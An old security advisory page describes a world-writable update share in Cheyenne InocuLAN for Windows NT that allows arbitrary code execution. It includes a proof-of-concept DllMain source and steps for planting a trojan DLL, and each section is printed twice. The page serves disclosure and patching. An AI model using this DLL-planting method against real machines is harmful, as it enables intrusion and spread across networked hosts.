Cheyenne InocuLAN Windows NT Share Vulnerability
BID:106
Info
Cheyenne InocuLAN Windows NT Share Vulnerability
| Bugtraq ID: | 106 |
| Class: | Unknown |
| CVE: |
CVE-1999-1555 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 10 1998 12:00AM |
| Updated: | Jul 11 2009 12:16AM |
| Credit: | This vulnerability was found by Paul Boyer <[email protected]> and reported to the BugTraq mailing list. |
| Vulnerable: |
Cheyenne Inoculan for Windows NT 4.0 |
| Not Vulnerable: | |
Discussion
Cheyenne InocuLAN Windows NT Share Vulnerability
It is possible to run arbitrary code on any Intel machine running Cheyenne
Inoculan version 4.0 for Windows NT prior to SP2.
Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server".
When it starts, it replaces any shared directory with the same name and shares
"CHEYUPD$" with full control for the everyone group.
When the service starts, it does an update check in this directory (usually
"C:\Inoculan\Update\" ) using the files
"<NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and
[idem]...\avh32dll.dll
Simply "touching" or modifying the file "filelist.txt" to look younger
than real causes the update. Th update causes the service to stop, the
avh32dll.dll DLL to replace the existing one (usually in
c:\inoculan\avh32dll.dll) and then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot of
stuff (including checking if it is a valid DLL, I presume).
You can write a DLL that executes arbitrary code at the time it
is loaded in memory, at the precise time when DllMain is called by the image
loader, before any other function have a chance to be called.
To check if you are vulnerable, if you have the resource kit installed, run
SRVCHECK.EXE \\<YourMachine>
else run srvmgr.exe from a NT server on the same domain, select <YourMachine>
and select "Computer|Shared Directories".
If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL" to
the "EVERYONE" group, you are vulnerable.
An interesting point is that Inoculan uses "domains". In one domain, a single
server forwards the updates to all machines participating in that "domain"
(nothing to do with NT domains). It may be possible to write the trojan
DLL to the domain's server CHEYUPD$ shared directory, and have it copy
it to all the machines in the domain.
It is possible to run arbitrary code on any Intel machine running Cheyenne
Inoculan version 4.0 for Windows NT prior to SP2.
Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server".
When it starts, it replaces any shared directory with the same name and shares
"CHEYUPD$" with full control for the everyone group.
When the service starts, it does an update check in this directory (usually
"C:\Inoculan\Update\" ) using the files
"<NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and
[idem]...\avh32dll.dll
Simply "touching" or modifying the file "filelist.txt" to look younger
than real causes the update. Th update causes the service to stop, the
avh32dll.dll DLL to replace the existing one (usually in
c:\inoculan\avh32dll.dll) and then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot of
stuff (including checking if it is a valid DLL, I presume).
You can write a DLL that executes arbitrary code at the time it
is loaded in memory, at the precise time when DllMain is called by the image
loader, before any other function have a chance to be called.
To check if you are vulnerable, if you have the resource kit installed, run
SRVCHECK.EXE \\<YourMachine>
else run srvmgr.exe from a NT server on the same domain, select <YourMachine>
and select "Computer|Shared Directories".
If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL" to
the "EVERYONE" group, you are vulnerable.
An interesting point is that Inoculan uses "domains". In one domain, a single
server forwards the updates to all machines participating in that "domain"
(nothing to do with NT domains). It may be possible to write the trojan
DLL to the domain's server CHEYUPD$ shared directory, and have it copy
it to all the machines in the domain.
Exploit / POC
Cheyenne InocuLAN Windows NT Share Vulnerability
inoctroj.cpp:
-------Cut here -----------
#include "stdio.h"
long __stdcall DllMain (long, unsigned long, void*)
{
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
FILE * demo;
// create a file
demo = fopen ( "C:\\I_can_write_a_file.txt", "w");
// write to the file
char * buf = "hello world ! ";
fwrite ( buf,1, 15, demo);
fclose ( demo );
// This aborts the DLL loading. Anyway, we're done at that time ;))
return 0;
}
-------Cut here -----------
Compile and link to make the target avh32dll.dll. Write it to
<NtBox>\CHEYUPD$\English\NtIntel\Ready\, touch
<NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt to be newer
that it currently is. Wait for the user to stop and restart the InnocuLAN
server, or for them to reboot.
inoctroj.cpp:
-------Cut here -----------
#include "stdio.h"
long __stdcall DllMain (long, unsigned long, void*)
{
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
FILE * demo;
// create a file
demo = fopen ( "C:\\I_can_write_a_file.txt", "w");
// write to the file
char * buf = "hello world ! ";
fwrite ( buf,1, 15, demo);
fclose ( demo );
// This aborts the DLL loading. Anyway, we're done at that time ;))
return 0;
}
-------Cut here -----------
Compile and link to make the target avh32dll.dll. Write it to
<NtBox>\CHEYUPD$\English\NtIntel\Ready\, touch
<NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt to be newer
that it currently is. Wait for the user to stop and restart the InnocuLAN
server, or for them to reboot.
Solution / Fix
Cheyenne InocuLAN Windows NT Share Vulnerability
Solution:
Go to http://www.cheyenne.com/CheyTech/Download/patches/techptch.html and
install their latest patch.
Solution:
Go to http://www.cheyenne.com/CheyTech/Download/patches/techptch.html and
install their latest patch.
References
Cheyenne InocuLAN Windows NT Share Vulnerability
References:
References: